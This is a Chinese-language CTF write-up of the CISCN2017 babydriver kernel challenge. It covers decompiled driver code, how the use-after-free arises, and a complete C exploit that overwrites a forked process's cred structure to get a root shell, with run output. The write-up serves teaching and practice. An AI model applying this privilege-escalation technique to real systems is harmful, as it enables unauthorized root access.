美文网首页CTF-PWN
[kernel pwn] CISCN2017-babydrive

[kernel pwn] CISCN2017-babydrive

作者: 2mpossible | 来源:发表于2019-01-08 14:10 被阅读208次
    • 这是一道kernel uaf的题目,记录一下一般拿到kernel pwn题应该如何操作,首先拿到题目解压后有3个文件
    1. boot.sh: 一个用于启动 kernel 的 shell 的脚本,多用 qemu,保护措施与 qemu 不同的启动参数有关
    2. bzImage: kernel binary
    3. rootfs.cpio: 文件系统映像
    • 所以先新建一个文件夹,然后解压文件系统映像
    mkdir fs
    cd fs
    cp ../rootfs.cpio ./
    cpio -idmv < rootfs.cpio 
    
    • 然后查看init文件的内容,可以知道babydriver.ko就是我们需要分析的漏洞驱动,将它用ida打开
    #!/bin/sh
     
    mount -t proc none /proc
    mount -t sysfs none /sys
    mount -t devtmpfs devtmpfs /dev
    chown root:root flag
    chmod 400 flag
    exec 0</dev/console
    exec 1>/dev/console
    exec 2>/dev/console
    
    insmod /lib/modules/4.4.72/babydriver.ko
    chmod 777 /dev/babydev
    echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
    setsid cttyhack setuidgid 1000 sh
    
    umount /proc
    umount /sys
    poweroff -d 0  -f
    
    1. 分析babydrive.ko
    //释放babydev_struct
    int __fastcall babyrelease(inode *inode, file *filp)
    {
      _fentry__(inode, filp);
      kfree(babydev_struct.device_buf);
      printk("device release\n");
      return 0;
    }
    
    //申请一块大小为 0x40 字节的空间,地址存储在全局变量babydev_struct.device_buf 上,并更新 babydev_struct.device_buf_len
    int __fastcall babyopen(inode *inode, file *filp)
    {
      _fentry__(inode, filp);
      babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 37748928LL, 64LL);
      babydev_struct.device_buf_len = 64LL;
      printk("device open\n");
      return 0;
    }
    
    //定义了 0x10001 的命令,可以释放全局变量 babydev_struct中的device_buf,再根据用户传递的 size 重新申请一块内存,并设置 device_buf_len
    __int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
    {
      size_t v3; // rdx
      size_t v4; // rbx
      __int64 result; // rax
    
      _fentry__(filp, *(_QWORD *)&command);
      v4 = v3;
      if ( command == 65537 )
      {
        kfree(babydev_struct.device_buf);
        babydev_struct.device_buf = (char *)_kmalloc(v4, 37748928LL);
        babydev_struct.device_buf_len = v4;
        printk("alloc done\n");
        result = 0LL;
      }
      else
      {
        printk(&unk_2EB);
        result = -22LL;
      }
      return result;
    }
    
    //从 buffer 拷贝到全局变量中
    ssize_t __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
    {
      size_t v4; // rdx
      ssize_t result; // rax
      ssize_t v6; // rbx
    
      _fentry__(filp, buffer);
      if ( !babydev_struct.device_buf )
        return -1LL;
      result = -2LL;
      if ( babydev_struct.device_buf_len > v4 )
      {
        v6 = v4;
        copy_from_user();
        result = v6;
      }
      return result;
    }
    
    //从全局变量拷贝到 buffer 中
    ssize_t __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
    {
      size_t v4; // rdx
      ssize_t result; // rax
      ssize_t v6; // rbx
    
      _fentry__(filp, buffer);
      if ( !babydev_struct.device_buf )
        return -1LL;
      result = -2LL;
      if ( babydev_struct.device_buf_len > v4 )
      {
        v6 = v4;
        copy_to_user(buffer);
        result = v6;
      }
      return result;
    }
    
    
    • 由于baby_struct.device是全局的,因此只能存在一个,所以当我们open 2个设备的时候,第二次open的会覆盖第一次的,我们再释放第一次打开的,这时候第二次打开的设备也会被释放,就存在UAF,然后通过ioctl改变大小,使得和cred结构大小一样再fork一个进程,它的cred结构体被放进这个UAF的空间,然后我们能够控制这个cred结构体,通过write写入uid,达到getshell。

    • 但是我们必须要知道cred结构体的大小才能进一步控制cred

    • 方法一是查看源码(这里我分析了前几个结构变量之后发现太多了....就没看下去了)

    struct cred {
        atomic_t    usage; 4
    #ifdef CONFIG_DEBUG_CREDENTIALS
        atomic_t    subscribers;    /* number of processes subscribed */
        void        *put_addr;
        unsigned    magic;
    #define CRED_MAGIC  0x43736564
    #define CRED_MAGIC_DEAD 0x44656144
    #endif
        kuid_t      uid;        /* real UID of the task */ 4
        kgid_t      gid;        /* real GID of the task */ 4
        kuid_t      suid;       /* saved UID of the task */ 4
        kgid_t      sgid;       /* saved GID of the task */ 4
        kuid_t      euid;       /* effective UID of the task */ 4
        kgid_t      egid;       /* effective GID of the task */ 4
        kuid_t      fsuid;      /* UID for VFS ops */ 4
        kgid_t      fsgid;      /* GID for VFS ops */ 4
        unsigned    securebits; /* SUID-less security management */ 4
        kernel_cap_t    cap_inheritable; /* caps our children can inherit */ 4  
        kernel_cap_t    cap_permitted;  /* caps we're permitted */ 4
        kernel_cap_t    cap_effective;  /* caps we can actually use */ 4
        kernel_cap_t    cap_bset;   /* capability bounding set */ 4
        kernel_cap_t    cap_ambient;    /* Ambient capability set */ 4
    #ifdef CONFIG_KEYS
        unsigned char   jit_keyring;    /* default keyring to attach requested 
                         * keys to */ 1
        struct key __rcu *session_keyring; /* keyring inherited over fork */
        struct key  *process_keyring; /* keyring private to this process */
        struct key  *thread_keyring; /* keyring private to this thread */
        struct key  *request_key_auth; /* assumed request_key authority */
    #endif
    #ifdef CONFIG_SECURITY
        void        *security;  /* subjective LSM security */ 8
    #endif
        struct user_struct *user;   /* real user ID subscription */
        struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
        struct group_info *group_info;  /* supplementary groups for euid/fsgid */
        struct rcu_head rcu;        /* RCU deletion hook */
    };
    
    • 方法二是自己写个简单modules然后printf一下sizeof(struct cred)就能知道了
    //简单modules
    #include <linux/init.h>
    #include <linux/module.h>
    #include <linux/kernel.h>
    #include <linux/cred.h>
    MODULE_LICENSE("Dual BSD/GPL");
    struct cred c1;
    static int hello_init(void) 
    {
        printk("<1> Hello world!\n");
        printk("size of cred : %d \n",sizeof(c1));
        return 0;
    }
    static void hello_exit(void) 
    {
        printk("<1> Bye, cruel world\n");
    }
    module_init(hello_init);
    module_exit(hello_exit);
    
    1. 利用思路

    2. open两次设备

    3. 利用babyioctl将结构体改为0xa8 sizeof(struct cred)

    4. 释放第一个设备,造成UAF

    5. fork一个子进程来控制cred结构体

    6. 将结构体的xid置为0

    7. 编写exp:

    //gcc exp.c -static -o exp
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <stropts.h>
    #include <sys/wait.h>
    #include <sys/stat.h>
    int main()
    {
        int fd1 = open("/dev/babydev",2);
        int fd2 = open("/dev/babydev",2);
    
        ioctl(fd1,65537,0xa8);
    
        close(fd1);
    
        int pid = fork();
    
        if(pid < 0)
        {
            puts("[*] fork error!");
            exit(0);
        }
    
        else if (pid == 0)
        {
            int buf[9]={0};
            write(fd2,buf,28);
            system("/bin/sh");
        }
    
        else
        {
            wait(NULL);
        }
    
        return 0;
    
    }
    
    1. 静态编译exp,并将编译好的exp放入解压的fs目录下,重新打包fs系统
    find . | cpio -o --format=newc > rootfs.cpio
    
    1. 启动系统,运行exp
    ./boot.sh
    / $ ./exp
    [    4.998456] device open
    [    4.999472] device open
    [    5.000418] alloc done
    [    5.001826] device release
    / # id
    uid=0(root) gid=0(root) groups=1000(ctf)
    

    参考文章:

    相关文章

      网友评论

        本文标题:[kernel pwn] CISCN2017-babydrive

        本文链接:https://www.haomeiwen.com/subject/gkcvrqtx.html